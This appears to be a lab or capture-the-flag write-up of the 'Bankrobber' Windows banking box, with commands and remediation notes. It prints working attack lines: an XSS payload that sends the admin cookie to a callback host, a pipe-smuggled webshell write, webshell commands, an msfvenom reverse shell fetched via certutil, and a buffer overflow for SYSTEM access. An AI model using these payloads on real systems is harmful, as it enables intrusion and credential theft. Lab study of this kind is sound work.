Bankrobber
Summary
An attacker probed a Windows banking application running Apache 2.4.39 with PHP 7.3.4 and discovered that client-side JavaScript openly disclosed both a transfer comment field that rendered input without sanitization and a localhost-only command-execution endpoint at /admin/backdoorchecker.php.
A stored cross-site scripting payload injected into a transfer comment fired in the reviewing administrator's browser, exfiltrating the non-HttpOnly admin session cookie and simultaneously issuing a same-origin authenticated POST to the backdoor — satisfying its localhost restriction.
The backdoor's command allowlist was bypassed with a shell pipe, enabling a file-write that planted a PHP webshell under the web root, giving remote code execution as the Windows user Cortin.
From that foothold, an internal TCP/910 service was identified that gated a transfer-processing binary behind a four-digit PIN; the small PIN space was brute-forced in seconds, and a buffer overflow in the amount-processing handler — caused by copying the caller-supplied input into a fixed-size path variable without bounds checking — redirected execution to an attacker-staged binary running as SYSTEM, fully compromising the host.
Attack path — how the box was taken
Fingerprinted exposed services and identified the banking web application, then Read client-side JavaScript to map the XSS sink and the backdoor interface, then Registered an account and injected a stored XSS payload into a transfer comment, then Captured the admin session and authenticated directly to the admin panel, then Bypassed the backdoor command allowlist via shell pipe and deployed a PHP webshell, then Discovered an internal-only TCP/910 service via netstat from the Cortin webshell, then Brute-forced the four-digit PIN gate on TCP/910, then Overflowed the transfer-amount buffer to redirect execution and obtain a SYSTEM shell.
Exact commands 2
nmap -sV -sC -p 80,443,445,3306 $TARGETcurl -sSk -i http://$TARGET/Exact commands 2
curl -sSk http://$TARGET/js/transfer.jscurl -sSk http://$TARGET/js/system.jsExact commands 2
python3 -u -m http.server 8000 --bind 0.0.0.0curl -sS -b cookies.jar -c cookies.jar -X POST http://$TARGET/user/transfer.php -d 'fromId=3&toId=1&amount=1' --data-urlencode "comment=<script>document.location="http://$CALLBACK_HOST:8000/?"+document.cookie</script>"Exact commands 1
curl -sSk -b adm.jar http://$TARGET/admin/Exact commands 2
curl -sS -b cookies.jar -c cookies.jar -X POST http://$TARGET/user/transfer.php -d 'fromId=3&toId=1&amount=1' --data-urlencode 'comment=<script>fetch("/admin/backdoorchecker.php",{method:"POST",credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"cmd=dir|echo+%3C%3Fphp+system(%24_GET[%27cmd%27])%3B+%3F%3E+>+C:\\xampp\\htdocs\\phpmyadmin\\cx0713.php"})</script>'curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode 'cmd=whoami'Exact commands 1
curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode 'cmd=netstat -ano | findstr :910'Exact commands 2
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$CALLBACK_HOST LPORT=4444 -f exe -o shell.execurl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode "cmd=certutil -urlcache -split -f http://$CALLBACK_HOST:8000/shell.exe C:\Windows\Temp\shell.exe"Attack patterns used
The transferable techniques behind the compromise.
Client-side information disclosureEnumerationT1592
What it is
The application's transfer.js and system.js scripts were fetched without authentication. transfer.js revealed that the transfer comment field is rendered client-side without any output encoding — a stored XSS sink. system.js disclosed the exact POST structure of /admin/backdoorchecker.php including the cmd parameter name, giving the attacker everything needed to craft a payload that chains the XSS delivery into a same-origin authenticated command execution.
Why it works
Move all references to server-side API paths and privileged interfaces into server-side code. Client-side JavaScript should only call documented, public-facing endpoints. Conduct a periodic review of all JS files served publicly to remove internal route disclosures and implementation details.
Stored Cross-Site ScriptingExploitationT1059.007
What it is
A throwaway account was registered via /register.php and a fund transfer was submitted with a JavaScript payload in the comment field. The payload was designed to fire when the reviewing administrator's browser rendered the pending transaction from 127.0.0.1: it exfiltrated the admin's non-HttpOnly session cookies to an attacker-controlled listener and simultaneously issued a same-origin authenticated POST to /admin/backdoorchecker.php — satisfying the localhost restriction because the browser ran on the server itself. The attacker then waited approximately 45–50 seconds for the admin review cycle to trigger the payload.
Why it works
Apply htmlspecialchars() (ENT_QUOTES) to every user-supplied field before inserting it into HTML output. Add a Content-Security-Policy response header restricting script-src to 'self' to block inline execution even if a payload lands. Audit all other user-facing fields for the same pattern.
Session hijacking via XSS / credential authenticationExploitationT1539
What it is
The XSS beacon delivered the administrator's session cookie to the listener. Additionally, admin credentials admin:[REDACTED: recovered credential] were confirmed valid against /login.php, returning base64-encoded id, username, and password cookies and granting direct access to the /admin/ panel, notes.txt, and the user-search and transaction interfaces. This confirmed admin-level control of the application and provided the authenticated session required to directly call the backdoor.
Why it works
Set session.cookie_httponly = 1 in php.ini (or per-cookie via setcookie's httponly parameter) so cookies are never accessible to JavaScript. Require admin passwords of at least 16 characters with complexity requirements and consider adding multi-factor authentication to the /admin/ login. Rotate the current admin password immediately.
Command allowlist bypass via shell pipe / web shell deploymentExploitationT1505.003
What it is
The stored XSS payload was extended to issue a same-origin authenticated POST to /admin/backdoorchecker.php with a piped command (cmd=dir|<write command>), bypassing the endpoint's command allowlist entirely — the pipe caused the Windows shell to interpret everything after | as a new command, not as an argument to be allowed. The pipe payload wrote a PHP webshell into the PhpMyAdmin web-accessible directory. Requesting the planted file (cx0713.php) over HTTP gave persistent, unauthenticated remote code execution as the Apache service account, Windows user Cortin.
Why it works
Delete /admin/backdoorchecker.php. If a legitimate server-administration interface is required, replace it with a dedicated, strongly authenticated API that accepts a strict whitelist of safe, parameterized operations with no shell passthrough, runs under a least-privileged dedicated service account, and is protected by server-level network ACLs rather than a client-supplied IP address check.
Online brute-force of a weak numeric PINPrivilege EscalationT1110.001
What it is
Connecting to TCP/910 presented a numeric PIN prompt before accepting any commands. With only 10,000 possible four-digit values, the full space was exhausted in seconds. PIN 0021 was accepted, unlocking the transfer-amount processing stage of the service.
Why it works
Replace the PIN with a cryptographically strong shared secret (minimum 128-bit entropy) or mutual TLS client certificate. Implement a lockout policy after five failed attempts with an exponential back-off delay. Bind the service to 127.0.0.1 and ensure it is only reachable by the specific local processes that require it.
Buffer overflow — executable path overwritePrivilege EscalationT1203
What it is
After PIN authentication, TCP/910 prompted for a transfer amount and passed it into a fixed-size executable path buffer without bounds checking. Sending 32 bytes of padding (A×32) followed by an attacker-controlled executable path overwrote the path variable, redirecting the service to run the attacker's staged binary. Because the service ran as SYSTEM, the payload executed with full OS privileges, producing a SYSTEM reverse shell and completing the host compromise.
Why it works
Rewrite the amount-handling code to validate that input is a numeric value within the expected range before use. Replace unsafe C string functions (strcpy, sprintf) with bounded alternatives (strncpy with explicit null-termination, snprintf). Run the service under a dedicated, non-privileged Windows service account with only the permissions it needs — never as SYSTEM or LocalSystem. Apply address-space layout randomisation (ASLR) and data execution prevention (DEP) build flags to the binary.
Findings
Exposed services
| External surface | A port sweep revealed Apache 2.4.39 (Win64) with PHP 7.3.4 on ports 80 and 443, SMB on 445, and MariaDB on 3306. Browsing the web root confirmed a Bankrobber-style banking application with registration, login, user, and admin routes. A direct request to /admin/backdoorchecker.php returned an authorization error for external callers, signalling a localhost-only restriction worth investigating. |